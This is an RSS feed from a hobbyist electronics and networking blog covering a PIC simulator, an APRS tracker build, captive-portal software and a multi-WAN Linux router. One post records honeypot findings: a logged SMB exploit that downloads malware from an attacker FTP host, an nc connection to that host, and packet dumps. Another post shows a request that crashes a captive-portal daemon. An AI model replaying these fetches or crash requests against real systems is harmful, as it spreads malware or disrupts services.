<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BrainDeadProjects.com</title>
	<atom:link href="http://www.braindeadprojects.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.braindeadprojects.com/blog</link>
	<description>A place for low-grade evil.</description>
	<lastBuildDate>Sun, 07 Mar 2010 23:58:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>PIC simulation using GPSIM</title>
		<link>http://www.braindeadprojects.com/blog/rf/pic-simulation-using-gpsim/</link>
		<comments>http://www.braindeadprojects.com/blog/rf/pic-simulation-using-gpsim/#comments</comments>
		<pubDate>Sat, 06 Mar 2010 21:40:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PIC Microcontrollers]]></category>
		<category><![CDATA[RF]]></category>

		<guid isPermaLink="false">http://www.braindeadprojects.com/blog/?p=259</guid>
		<description><![CDATA[As if I don&#8217;t have enough going on already (school, lab, work, numerous hobby projects, cigars and Tom Waits), I&#8217;ve begun modifications of one of those small radio-controlled helicopters using a PIC16f628A microcontroller.
I&#8217;ve done something similar with an radio-controlled car in the past (very basic &#8220;go forward, turn, go forward, back up&#8221; stuff though), but [...]]]></description>
			<content:encoded><![CDATA[<p>As if I don&#8217;t have enough going on already (school, lab, work, numerous hobby projects, cigars and Tom Waits), I&#8217;ve begun modifications of one of those small radio-controlled helicopters using a <a href="http://www.microchip.com/wwwproducts/Devices.aspx?dDocName=en010210" target="_blank">PIC16f628A</a> microcontroller.</p>
<p>I&#8217;ve done something similar with an radio-controlled car in the past (very basic &#8220;go forward, turn, go forward, back up&#8221; stuff though), but that was 5+ years ago.  My goal this time is to code a program allowing the helicopter to lift-off, turn in search of the brightest source of light, and follow it. (Have you ever seen <a href="http://www.sea-monkeys.com/" target="_blank">Sea-Monkeys</a> go crazy over a flashlight? That&#8217;s my goal here, but with a helicopter)</p>
<p>A lot has changed in 5 years.  The last time I worked on a project like this (as basic as it really is), I was using a PIC IDE on Windows 2000 (something I&#8217;ve since misplaced). I was also using the <a href="http://www.microchip.com/wwwproducts/devices.aspx?ddocname=en010230" target="_blank">PIC16f84A</a> then, a chip that&#8217;s since become less than favorable (less memory, needs an external oscillator)</p>
<p>Having migrated entirely to the <a href="http://gentoo.org" target="_blank">Linux</a> operating system (aside from a dual-boot laptop for school), I went in search of a decent C compiler and simulator &#8211; and I really lucked out.  <a href="http://sdcc.sourceforge.net/" target="_blank">SDCC</a> and <a href="http://gpsim.sourceforge.net/gpsim.html" target="_blank">GPSIM</a> were <strong>exactly</strong> what I needed. (I have to give Micah Carrick a big thanks for his <a href="http://www.micahcarrick.com/04-25-2005/pic-c-programming-linux.html" target="_blank">article</a> that steered me in this direction)</p>
<div id="attachment_260" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.braindeadprojects.com/blog/wp-content/gpsim-desktop.png"><img class="size-medium wp-image-260" title="Desktop running gpsim" src="http://www.braindeadprojects.com/blog/wp-content/gpsim-desktop-300x240.png" alt="" width="300" height="240" /></a><p class="wp-caption-text">My Desktop running GPSim and some test code</p></div>
<p style="text-align: center;">
<p>SDCC is simply a Small Device targetted C compiler, so I&#8217;m not going to go into in depth  here (see Micah&#8217;s great article above).  <strong><em>BUT</em></strong> I did have a major issue getting it set up initially:</p>
<p>The problem I experienced with SDCC was that the Gentoo Portage distributed version is 2.5.6 (as of March 2010).  Unfortunately, memory locations for individual pins on PORTA and PORTB on the PIC16f628A aren&#8217;t defined in the header files in 2.5.6. Usually, one can access them via RB[0-7], etc&#8230; So my advice is this &#8211; use the subversion distributed version of SDCC (which is presently 2.9.7)</p>
<p>My second issue getting set up  was with GPSIM. I&#8217;ve not had a chance to delve into the reasons, but for some unknown reason the version 0.23.0 and 0.24.0 wouldn&#8217;t play nice with any controller I tried:</p>
<blockquote><p><strong>gpsim -p16f627 -c testcode.stc</strong></p>
<p>gpsim &#8211; the GNUPIC simulator<br />
version: Release 0.23.0</p>
<p>type help for help<br />
**gpsim&gt; SimulationMode:51<br />
FIXME gui_breadboard.cc Build<br />
WARNING: command line processor named &#8220;16f627&#8243; is being ignored<br />
since the .cod file specifies the processor<br />
WARNING: Ignoring the hex file &#8220;testcode.asm&#8221;<br />
since the .cod file specifies the hex code<br />
RRR gui_breadboard.cc:createLabel p16f627 11 42<br />
Disabling WDT<br />
FIXME:  HLL files are not supported at the moment<br />
**gpsim&gt; running&#8230;<br />
<strong>attempt write to invalid file register</strong><br />
address 0&#215;10a,   value 0&#215;1<br />
could not decode trace type: 0&#215;0<br />
0&#215;0000000000000066 p16f627 0&#215;00FC 0&#215;008A movwf  pclath<br />
Read: 0&#215;0001 from W<br />
Invalid Trace entry: 0&#215;0</p></blockquote>
<p>After flailing around trying to make gpsim happy, I finally downgraded to 0.22.0, finding that I had no issues with it.</p>
<p>GPSIM has some nice features &#8211; stopwatch, available breakpoints,  simulated oscilloscope probes, the ability to lay out basic logic circuits, simulated LEDs and pushbuttons, etc</p>
<div id="attachment_266" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.braindeadprojects.com/blog/wp-content/scope.png"><img class="size-medium wp-image-266" title="Simulated Scope probes" src="http://www.braindeadprojects.com/blog/wp-content/scope-300x234.png" alt="" width="300" height="234" /></a><p class="wp-caption-text">Simulated Scope Probes</p></div>
<p style="text-align: center;">
<p style="text-align: left;">Ok, so now I&#8217;m all set to develop. I&#8217;ll post videos of the helicopter before and after modifications, as well as a before and after test-flight shortly.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.braindeadprojects.com/blog/rf/pic-simulation-using-gpsim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Tiny Tracker 3+ APRS encoder</title>
		<link>http://www.braindeadprojects.com/blog/what/the-tiny-tracker-3-aprs-encoder/</link>
		<comments>http://www.braindeadprojects.com/blog/what/the-tiny-tracker-3-aprs-encoder/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 19:02:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[RF]]></category>
		<category><![CDATA[What?!]]></category>

		<guid isPermaLink="false">http://www.braindeadprojects.com/blog/?p=201</guid>
		<description><![CDATA[I&#8217;ve been planning on building an APRS beacon into my car for some time, initially contemplating using a WebPadDT + XASTIR to do the work, but that idea quickly posed an issue &#8211; the WebPad was too big to reasonably it in the car with another passenger (at least in my car).
Yes, I&#8217;m well aware [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been planning on building an <a href="en.wikipedia.org/wiki/APRS" target="_blank">APRS</a> beacon into my car for some time, initially contemplating using a <a href="http://www.braindeadprojects.com/blog/what/mounting-a-raw-dump-using-dd-and-losetup/" target="_blank">WebPadDT</a> + <a href="http://www.braindeadprojects.com/blog/what/aprs-using-xastir/" target="_blank">XASTIR</a> to do the work, but that idea quickly posed an issue &#8211; the WebPad was too big to reasonably it in the <a href="http://www.braindeadprojects.com/blog/what/the-fish-turns-111111/" target="_blank">car</a> with another passenger (at least in my car).</p>
<p>Yes, I&#8217;m well aware that APRS is <strong>not</strong> really meant as a vehicle tracking device, and in many circles it&#8217;s frowned upon.</p>
<p>I&#8217;ve enjoyed working with PIC microcontrollers since I was first introduced to the 16f84A years ago. But in all honestly, I&#8217;ve not done more than &#8220;blinky lights&#8221; and very basic modifications to an RC car with them. (Take a look at a great <a href="http://www.micahcarrick.com/04-25-2005/pic-c-programming-linux.html" target="_blank">article</a> to get started working with PICs)</p>
<p><a href="http://www.byonics.com/cables/tinytrak3.php" target="_blank">Byonics</a> has a cool kit &#8211; the Tiny Track3+. Figuring I&#8217;d use it as a chance to exercise my soldering skills (which need a bit of work), and liking the fact that I wouldn&#8217;t have to hunt for each individual component on my own, I picked one up (with GPS unit).</p>
<p>The project build steps are <em>extremely</em> well documented. Literally, every step along the way is fully explained along with color images in the downloadable <a href="http://www.byonics.com/tinytrak/tinytrak3plus.zip" target="_blank">PDF</a>. Build time takes under 1 hour (actually closer to 30 minutes, although I incorrectly soldered the female DB9 connector to J2 and had to waste time de-soldering it).</p>
<p><a href="http://www.braindeadprojects.com/blog/wp-content/tinytrack.png"><img class="aligncenter size-medium wp-image-241" title="The TinyTrack build manual" src="http://www.braindeadprojects.com/blog/wp-content/tinytrack-300x263.png" alt="" width="300" height="263" /></a></p>
<p>Prior to installing the accompanying PIC16f628A chip, I made sure to back up the currently running software (these chips are dirt cheap, and I&#8217;m not entirely sure Byonics will just give me the software if I ever have to replace the chip) Looks like my old serial programmer still works (remember &#8211; the USB to serial adapters generally don&#8217;t put out enough voltage to program a chip, so make sure you have on-board serial):</p>
<div id="attachment_205" class="wp-caption aligncenter" style="width: 235px"><img class="size-medium wp-image-205" title="Old serial PIC programmer" src="http://www.braindeadprojects.com/blog/wp-content/0131001936-225x300.jpg" alt="Old serial PIC programmer" width="225" height="300" /><p class="wp-caption-text">Old serial PIC programmer</p></div>
<p>After backing up the code, I pop the chip into place on the TinyTracker, and voila -the finished product looks like this:</p>
<div id="attachment_204" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-204" title="TinyTracker3+ Fully assembled" src="http://www.braindeadprojects.com/blog/wp-content/0131001457a1-300x225.jpg" alt="TinyTracker3+ Fully Assembled" width="300" height="225" /><p class="wp-caption-text">TinyTracker3+ Fully Assembled (I&#39;m using Lysol in my coffee since I&#39;m out of Half and Half)</p></div>
<p>The Byonics crew have also written software to configure the TinyTracker. Luckily it runs under WINE so I didn&#8217;t have to reboot. To configure, power the J1 DB9 connector with a 9volt battery.</p>
<div id="attachment_206" class="wp-caption aligncenter" style="width: 235px"><img class="size-medium wp-image-206" title="TinyTracker3+ in it's case, being configured serially" src="http://www.braindeadprojects.com/blog/wp-content/0131001500-225x300.jpg" alt="TinyTracker3+ in it's case, being configured serially" width="225" height="300" /><p class="wp-caption-text">TinyTracker3+ in it&#39;s case, being configured serially</p></div>
<p>And run the configuration program (again, it&#8217;s fairly well documented in the manual):</p>
<p><a href="http://www.braindeadprojects.com/blog/wp-content/tinytrackconfig.png"><img class="aligncenter size-medium wp-image-249" title="Tiny Track 3 configuration" src="http://www.braindeadprojects.com/blog/wp-content/tinytrackconfig-300x230.png" alt="" width="300" height="230" /></a></p>
<p>After being hung-up in customs (and a brutal snowstorm), I finally got the radio component of my APRS system &#8211; the <a href="http://www.eham.net/reviews/detail/7191" target="_blank">FD-150A</a> (It took almost a month to get here from Hong Kong)</p>
<p><a href="http://www.braindeadprojects.com/blog/wp-content/0222001300.jpg"><img class="aligncenter size-medium wp-image-221" title="FD-150A" src="http://www.braindeadprojects.com/blog/wp-content/0222001300-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p>The output voltage  on the FD-150 battery is ~6.25V, too low to power the TinyTracker3 (which requires 7+V). A voltage multiplier would probably fix that, but my overall goal is to encase all components in a NEMA style box, powering it off the car.  So for the rest of the testing period, I&#8217;m using an external power-supply.</p>
<p>Hopefully in the next few weeks, I&#8217;ll have time to finish the entire setup. Keep checking back, I&#8217;ll post updates when I can.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.braindeadprojects.com/blog/what/the-tiny-tracker-3-aprs-encoder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Happy Birthday webdt.org!!!</title>
		<link>http://www.braindeadprojects.com/blog/what/happy-birthday-webdt-org/</link>
		<comments>http://www.braindeadprojects.com/blog/what/happy-birthday-webdt-org/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 20:34:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[What?!]]></category>

		<guid isPermaLink="false">http://www.braindeadprojects.com/blog/?p=231</guid>
		<description><![CDATA[It was a year ago this month that I received a comment on the braindeadprojects  site from a user named quotaholic.
Quotaholic had also picked up a WebpadDt  with the hopes of expanding upon it&#8217;s capabilities. My initial goal was a cheap touchpad screen for a car-pc. Quotaholic was thinking about bigger possibilities &#8211; and built [...]]]></description>
			<content:encoded><![CDATA[<p>It was a year ago this month that I received a <a href="http://www.braindeadprojects.com/blog/what/mounting-a-raw-dump-using-dd-and-losetup/#comments" target="_blank">comment</a> on the braindeadprojects  site from a user named quotaholic.</p>
<p>Quotaholic had also picked up a WebpadDt  with the hopes of expanding upon it&#8217;s capabilities. My initial goal was a cheap touchpad screen for a <a href="http://www.braindeadprojects.com/blog/what/mounting-a-raw-dump-using-dd-and-losetup/" target="_blank">car-pc</a>. Quotaholic was thinking about bigger possibilities &#8211; and built himself an entire community site.</p>
<p>So somewhere on or around March of 2009,  <a href="http://www.webdt.org/" target="_blank"> www.webdt.org</a> was born.</p>
<p><a href="http://www.braindeadprojects.com/blog/wp-content/webdt.png"><img class="aligncenter size-medium wp-image-233" title="The webdt site" src="http://www.braindeadprojects.com/blog/wp-content/webdt-300x210.png" alt="" width="300" height="210" /></a></p>
<p>While I don&#8217;t necessarily agree with some of the goals of the site (I personally don&#8217;t understand the point of testing to see which Linux distro&#8217;s will run on the webpad &#8211; and would like to see the community get behind one distro and build releases specifically aimed at the webpad)&#8230; the level of ambition is amazing.</p>
<p>I&#8217;ve not had much time to continue with the webpad on my own. Quotaholic however, has released a <a href="http://webdt.org/index.php?topic=351.0" target="_blank">100M version of Debian Lenny </a>with the <a href="http://lxde.org/lxde" target="_blank">LXDE</a> Desktop Environment geared towards the webpad (penmount drivers working and all)</p>
<p>So what am I doing with my DT now? Using it to stream audio (over my wireless) to my kitchen stereo. And the Gentoo Image that I&#8217;ve put a <strong><em>lot</em> </strong>of work into? Well, that filesystem is on my storage server while I use Quotaholics release.</p>
<p>Happy Birthday <a href="http://webdt.org" target="_blank">webdt.org</a>!!!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.braindeadprojects.com/blog/what/happy-birthday-webdt-org/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finally Saying No to NoCatSplash</title>
		<link>http://www.braindeadprojects.com/blog/what/finally-saying-no-to-nocatsplash/</link>
		<comments>http://www.braindeadprojects.com/blog/what/finally-saying-no-to-nocatsplash/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 17:57:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[WRT-54G]]></category>
		<category><![CDATA[What?!]]></category>

		<guid isPermaLink="false">http://www.braindeadprojects.com/blog/?p=211</guid>
		<description><![CDATA[
For the last 6 months or so, I&#8217;ve been running a free wireless access point for my neighborhood. In an effort to get my local community to know each other (and local goings-on), I&#8217;ve back-ended the system using the elgg social networking platform.
To use the free wifi, you have to register on the social site.
Uptime [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.braindeadprojects.com/blog/wp-content/logo-nocat.png"><img class="aligncenter size-full wp-image-226" title="logo-nocat" src="http://www.braindeadprojects.com/blog/wp-content/logo-nocat.png" alt="" width="144" height="144" /></a></p>
<p>For the last 6 months or so, I&#8217;ve been running a free wireless access point for my neighborhood. In an effort to get my local community to know each other (and local goings-on), I&#8217;ve back-ended the system using the <a href="http://elgg.org/" target="_blank">elgg</a> social networking platform.</p>
<p>To use the free wifi, you have to register on the social site.</p>
<div id="attachment_279" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.braindeadprojects.com/blog/wp-content/midtownwifi.png"><img class="size-medium wp-image-279" title="midtownwifi" src="http://www.braindeadprojects.com/blog/wp-content/midtownwifi-300x228.png" alt="" width="300" height="228" /></a><p class="wp-caption-text">The Captive Portal</p></div>
<p>Uptime however has been a major pain &#8211; for quite some time <a href="http://nocat.net">NoCatSplash</a> has been broken in <a href="http://dd-wrt.com/site/index">DD-WRT</a>. Ever since version 24 (at the very least), it&#8217;s been grouchy &#8211; all of the sudden not working and requiring a reboot (or possibly clearing and resetting the iptables targets and restarting splashd)  to fix. The wiki documents a few <a href="http://www.dd-wrt.com/wiki/index.php/NoCatSplash#Work-Around" target="_blank">workarounds</a>, but I&#8217;ve gotten tired of the overall bugs.</p>
<p>Initially I planned on simply fixing it, but after a little bit of thought,  I decided to give <a href="http://openwrt.org" target="_blank">OpenWRT</a> another look. I&#8217;m sure I could have gotten away with using the mini or micro versions of DD-WRT and adding to it, but last time I used OpenWRT&#8217;s build environment I was really impressed &#8211; so I spent this weekend working with it again.</p>
<p>Building your own image is simple &#8211; using the <a href="http://downloads.openwrt.org/kamikaze/8.09.2/brcm-2.4/OpenWrt-ImageBuilder-brcm-2.4-for-Linux-i686.tar.bz2" target="_blank">ImageBuilder</a> system (I&#8217;m working with WRT-54G&#8217;s)  simply &#8220;make image&#8221; setting the target <strong>PROFILE</strong> and <strong>PACKAGES</strong> via environment variables. This method uses existing binary packages to build a .bin or .trx file for easy installation (via the web interface or mtd command). &#8220;<em>make info</em>&#8221; will give you a long list of profiles, and packages that are readily available are contained in the packages subdirectory.</p>
<p>Recompiling packages is extremely easy &#8211; download the SDK:</p>
<blockquote><p>mkdir ~/devel &amp;&amp; cd ~/devel</p>
<p>wget http://downloads.openwrt.org/kamikaze/8.09.2/brcm-2.4/OpenWrt-SDK-brcm-2.4-for-Linux-i686.tar.bz2</p>
<p>tar xjvpf OpenWrt-SDK-brcm-2.4-for-Linux-i686.tar.bz2</p></blockquote>
<p>If the package already exists, check it out via subversion:</p>
<blockquote><p>cd OpenWrt-SDK-brcm-2.4-for-Linux-i686</p>
<p>svn export svn://svn.openwrt.org/openwrt/packages/net/&lt;packagename&gt;  package/&lt;packagename&gt;</p></blockquote>
<p>And to compile simply execute:</p>
<blockquote><p>make package/&lt;packagename&gt;/compile V=99</p></blockquote>
<p>(On older versions it&#8217;s &#8220;make package/&lt;packagename&gt;<strong>-</strong>compile V=99&#8243;)</p>
<p>After hitting my head against the nocatsplash package&#8217;s failure to build correctly, I finally opted to look at <a href="http://kokoro.ucsd.edu/nodogsplash/" target="_blank">nodogsplash</a>. &#8220;Because it will at least build&#8221; is probably not the best way to choose captive portal software, but it&#8217;s mine.</p>
<p>First thing requiring a fix is a bug that causes nodogsplash to crash when one sends a request to the auth-server without a &#8220;redir&#8221; GET variable being set &#8211; a bug evidenced by:</p>
<blockquote><p>links &#8220;http://192.168.1.1:2050/nodogsplash_auth/?tok=fffffff&#8221;</p></blockquote>
<p>Thankfully the crash is &#8220;gracefully&#8221; handled in safe.c&#8217;s safe_strdup()&#8230;. but it still causes the daemon to crash.</p>
<p>So &#8211; a quick patch, as well as some added &#8220;features&#8221; (including a magic token) and I&#8217;m set. Patches to source can be added to package/&lt;packagename&gt;/patches. Upon make, patches in this directory are first applied.</p>
<p>So instead of waiting around for a fix to NoCatSplash in DD-WRT, I&#8217;m moving on. So far NoDogSplash has proven effective &#8211; although I&#8217;m far from actually migrating to it (the old access point is still running for the time being). In the next few weeks I should have a custom web interface built, as well as <a href="www.pmacct.net/ " target="_blank">pmacctd </a>configured (I am exporting Netflow version 9 data to a collector as a <a href="www.pmacct.net/ " target="_blank">C.Y.A </a>measure), and bandwidth shaping properly enabled.</p>
<p>Custom patches to NoDogSplash are forthcoming.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.braindeadprojects.com/blog/what/finally-saying-no-to-nocatsplash/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chasing Ghosts this afternoon&#8230;</title>
		<link>http://www.braindeadprojects.com/blog/what/chasing-ghosts-this-afternoon/</link>
		<comments>http://www.braindeadprojects.com/blog/what/chasing-ghosts-this-afternoon/#comments</comments>
		<pubDate>Tue, 24 Nov 2009 22:21:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[What?!]]></category>

		<guid isPermaLink="false">http://www.braindeadprojects.com/blog/?p=190</guid>
		<description><![CDATA[Starting yesterday evening, I&#8217;ve been noticing a LOT more attempted connections to :445 (tcp).
Initially I was under the impression that the issue was isolated to the network I was on, although I&#8217;ve had confirmations from another non-related network (plus another host I have offnet) that :445 traffic is slightly higher than what is believed to [...]]]></description>
			<content:encoded><![CDATA[<p>Starting yesterday evening, I&#8217;ve been noticing a LOT more attempted connections to :445 (tcp).</p>
<p>Initially I was under the impression that the issue was isolated to the network I was on, although I&#8217;ve had confirmations from another non-related network (plus another host I have offnet) that :445 traffic is slightly higher than what is believed to be normal, but then again &#8211; what&#8217;s normal (without a good netflow collector and historical data, you probably have no idea)</p>
<p>A quick scan of the DSL routers I have access to, shows 314 unique IPs originating such scans to multiple destinations (this is one quick run of &#8220;show ip cache flow  | i  01BD&#8221; on each of 3 routers). I&#8217;m seeing the same thing on a VPS host I have located in Virginia.</p>
<p>Being a little more than curious, I&#8217;ve fired up <a href="http://nepenthes.carnivore.it/" target="_blank">nepenthes</a> and within 8 minutes I had 3 SMB exploit attempts, where the affected machine tries to download <a href="http://www.threatexpert.com/files/myreceve.com.html">&#8220;myreceve.com&#8221;</a></p>
<p>These exploits were hitting vulnerabilities on :139 (tcp), however, and I don&#8217;t believe are related (also they&#8217;re from the same class B network)</p>
<blockquote><p>66.xx.xx.xx -&gt; 66.xx.xx.xx ftp://1:1@66.xx.xx.xx:9015/myreceve.com</p></blockquote>
<p>Connecting to this host in particular gives a warm welcome:</p>
<blockquote><p>nc 66.xx.xx.xx 9015<br />
220 fuckFtpd 0wns j0</p></blockquote>
<p>Back to what prompted my initial interest &#8211; :445, I can&#8217;t seem to figure out whats really going on &#8211; packet captures indicate more than a normal SYN scan, but without some additional review, I have no idea why so many requests from so many hosts identical to this:</p>
<blockquote><p>NetBIOS Session Service<br />
Message Type: Session message<br />
Length: 47<br />
SMB (Server Message Block Protocol)<br />
SMB Header<br />
Server Component: SMB<br />
SMB Command: Negotiate Protocol (0&#215;72)<br />
Error Class: Success (0&#215;00)<br />
Reserved: 00<br />
Error Code: No Error<br />
Flags: 0&#215;00<br />
Flags2: 0&#215;0000<br />
Process ID High: 0<br />
Signature: 0000000000000000<br />
Reserved: 0000<br />
Tree ID: 0<br />
Process ID: 604<br />
User ID: 0<br />
Multiplex ID: 0<br />
Negotiate Protocol Request (0&#215;72)<br />
Word Count (WCT): 0<br />
Byte Count (BCC): 12<br />
Requested Dialects<br />
Dialect: NT LM 0.12<br />
Buffer Format: Dialect (2)<br />
Name: NT LM 0.12</p></blockquote>
<p>I&#8217;ve only slightly glanced over other SMB sessions, and this seems like a normal request&#8230; I&#8217;m a little baffled as to why every pcap I have from an apparently compromised host uses process id &#8220;604&#8243;, but otherwise each request appears valid.</p>
<p>So&#8230;. it&#8217;s probably nothing (usually is), but it definitely piqued my interest for a time today. Happy Thanksgiving!</p>
<p><strong>Update at 22:25</strong></p>
<p>At the advice of others, I&#8217;m installing <a href="http://dionaea.carnivore.it/">dionaea</a>, which apparently has better SMB support, to see if I can determine exactly what these connections are. I&#8217;ll post an update when I&#8217;m finished.</p>
<p><strong>Update 06:00 11/25/2009</strong></p>
<p>I&#8217;ve got dionea running and collecting bitstreams. Same basic signature (process id: 604), but now with a _lot_ more information in the captures (as dionaea is a little more fluent in the SMB protocol). Tonight: Cooking and reading pcaps.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.braindeadprojects.com/blog/what/chasing-ghosts-this-afternoon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Multiple WAN linux-based router</title>
		<link>http://www.braindeadprojects.com/blog/what/multiple-wan-linux-based-router/</link>
		<comments>http://www.braindeadprojects.com/blog/what/multiple-wan-linux-based-router/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 21:29:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[What?!]]></category>

		<guid isPermaLink="false">http://www.braindeadprojects.com/blog/?p=7</guid>
		<description><![CDATA[My friend Mat recently asked how difficult it is to build your own router. He&#8217;s living in a house with 4 or 5 other guys, and two Internet connections (one for work purposes, the other apparently comes with the house).
My immediate suggestion was to grab an old Sun Cobalt Raq server. My former router was [...]]]></description>
			<content:encoded><![CDATA[<p>My friend Mat recently asked how difficult it is to build your own router. He&#8217;s living in a house with 4 or 5 other guys, and two Internet connections (one for work purposes, the other apparently comes with the house).</p>
<p>My immediate suggestion was to grab an old Sun Cobalt Raq server. My former router was based off a Qube3 picked up off ebay for less than $80.00. The things are great: low power consumption, two NICs, an LCD screen, a trippy green LED panel&#8230;.</p>
<div id="attachment_160" class="wp-caption alignnone" style="width: 271px"><img class="size-full wp-image-160" title="Cobalt Qube3" src="http://www.braindeadprojects.com/blog/wp-content/qub3.jpg" alt="Fear my awesome green LED" width="261" height="209" /><p class="wp-caption-text">Fear my awesome green LED</p></div>
<div id="attachment_161" class="wp-caption aligncenter" style="width: 460px"><img class="size-full wp-image-161" title="Ports" src="http://www.braindeadprojects.com/blog/wp-content/ports.jpg" alt="USB, Serial, and 2 ethers" width="450" height="177" /><p class="wp-caption-text">USB, Serial, and 2 ethers</p></div>
<p>There&#8217;s numerous walkthroughs on how to turn these things into mailservers, etc&#8230; (google for them). The basic gest of what one needs to do is:</p>
<ul>
<li>Upgrade the <a title="ROM" href="http://sourceforge.net/projects/cobalt-rom/files/" target="_blank">ROM</a>. This has fixes for 2.6 kernels as well as support to boot from an ext3 filesystem.</li>
<li>Install the root filesystem on the drive(s). This can be done by mounting the IDE drives in another box, or using an nfs server to install from the Qube itself.</li>
<li>Compile a kernel. While there are many patches out there, I&#8217;ve found that (possibly aside from the LCD screen, which I&#8217;ve never bothered with), a vanilla 2.6 kernel will work fine</li>
</ul>
<p>Nothing that&#8217;s too incredibly different from setting up a normal box. I would highly recommend two resources: The first of which is <a title="Braggtown" href="http://braggtown.com/qubuntu.html" target="_blank">Braggtown</a>, the second one being <a href="http://www.timntina.com/debian-sarge-cobalt-install" target="_blank">Tim and Tina Wileys site</a></p>
<p>As far as items to install: I&#8217;m personally using <a href="http://www.quagga.net">Quagga</a> for static routing  and OSPF (I use the Cobalt as a route server. Also Quagga has a nice Cisco-like CLI), <a href="http://www.openswan.org">OpenSwan</a> for VPN access, <a href="http://vtun.sourceforge.net">VTUN</a> for quick tunnel here and there (over which I run OSPF),<a href="http://sourceforge.net/projects/rp-l2tp/"> Roaring Penguin L2TP</a> for various layer 2 tunnels, etc, etc..</p>
<p><a href="http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2">Iproute2</a> provides for the ability to properly handle multiple WAN connections via multiple routing tables. There are 255 tables available for routing and  iproute2 makes the use of named tables easy &#8211; simply add the numeric value and tablename to <strong><em>/etc/iproute2/rt_tables.</em></strong></p>
<p>When working with multiple WAN interfaces, I generally setup the second routing table and rules similar to this:</p>
<blockquote><p>ip route add default via &lt;gateway for this connection&gt; dev &lt;interface&gt; table &lt;tablename&gt;</p>
<p>ip rule add from &lt;WAN IP&gt; table &lt;tablename&gt;</p></blockquote>
<p>The above simply adds an interface into the table and adds a default gateway. To isolate a machine on the internal LAN to ONLY use the newly defined routing table, one can simply:</p>
<blockquote><p>ip rule add from <em><strong>192.168.32.10</strong></em> table &lt;tablename&gt;</p>
<p>ip rule add to <em><strong>192.168.32.10</strong></em> table &lt;tablename&gt;</p></blockquote>
<p>Depending on your default policy,  you may need to make alterations to your iptables rules as well (especially to support forwarding and NAT masquerading) You can also hook into TOS flags (amongst other things) and route based on port numbers, etc. Basically the sky is the limit (you can do round-robin routing out interfaces, etc)</p>
<p>Next up is IPv6. IPv6 tunnels are easy to come by these days &#8211; <a href="http://tunnelbroker.net/" target="_blank">Hurricane Electric</a> and <a href="http://www.sixxs.net/" target="_blank">Sixxs.net</a> are two of the more popular tunnel-brokers, <a href="http://tbroker.mybsd.org.my/" target="_blank">MyBSD</a> <span id="main" style="visibility: visible;"><span id="search" style="visibility: visible;"> </span></span> is a Malaysian broker I would personally recommend (good for IRC, latency is high, it goes down semi-frequently.. but I like Malaysia).  Also be aware that some brokers block common IRC ports. (Luckily I&#8217;m currently testing IPv6 for the ISP I work for and am now working off our /32)</p>
<p><a href="http://www.quagga.net" target="_blank">Quagga</a> can handle IPv6 address auto-assignment on your LAN. By default, <em><strong>ipv6 nd suppress-ra </strong></em>is set<em><strong> </strong></em>on most all interfaces. Disable it on the LAN interface, slap an IPv6 address and subnet in that interface config &#8211; and voila &#8211; your IPv6 router is now handling IPv6 autoconfiguration.</p>
<p>I recently upgraded to using a small form-factor IBM ThinkCentre 8183B2U.</p>
<div id="attachment_172" class="wp-caption aligncenter" style="width: 310px"><img class="size-medium wp-image-172" title="The ThinkCenter, with KnightRider eyes" src="http://www.braindeadprojects.com/blog/wp-content/thinkcenter-300x228.jpg" alt="The ThinkCenter, with KnightRider eyes" width="300" height="228" /><p class="wp-caption-text">ThinkCenter with a Courier dialup modem and 3 USB drives atop it</p></div>
<p style="text-align: center;">
<p>The power consumption is also fairly low (I believe), and wanting to do a little more with the router, I figured why not spend another $80. Of course, the downside to the ThinkCentre is having only 1 on-board NIC and 2 PCI slots. In the near future I plan on picking up a quad-port LINKX ethernet card, to consolidate cards (I presently have 2 PCI NICs added to the router for connections to the LAN and a monitoring tap). Hopefully I can find a quad port card that will fit in the small form-factor .</p>
<p>And excuse the mess, I&#8217;ve yet to make things &#8220;pretty&#8221; yet.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.braindeadprojects.com/blog/what/multiple-wan-linux-based-router/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
